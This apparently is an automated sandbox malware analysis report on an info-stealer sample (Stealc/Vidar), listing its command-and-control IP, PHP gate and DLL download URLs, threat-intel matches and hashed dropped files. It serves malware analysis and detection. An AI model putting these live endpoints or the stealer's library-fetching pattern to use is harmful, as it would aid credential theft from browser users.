http://185.215.113.100	file.exe, 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	DAEGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100#G	file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php0oQ	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350971094.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DAEGIDHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DGHJEHJJDAAAKEBGCFCA.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dlllC	file.exe, 00000000.00000002.2341677335.0000000029B00000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpata	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DAEGIDHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	DAEGIDHD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllllDp	file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll6	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	DAEGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpBOK	file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpdo	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dlljp	file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll%	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll.	file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.mozilla.org	GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dllz	file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllll	file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpDHCBGDHJKEBGDGIJEq	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DAEGIDHD.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.100	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500391
Start date and time:	2024-08-28 11:50:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 77 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.100

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEGHJEGIEBFIJJKFIIIJKEHJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFHIJEBKEBGHIDHJKJEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHJEHJJDAAAKEBGCFCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GDAAKKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDHCBGDHJKEBGDGIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDHCBGDHJKEBGDGIJECFIDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJEBGDAFHJEBGDGIJDHCAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
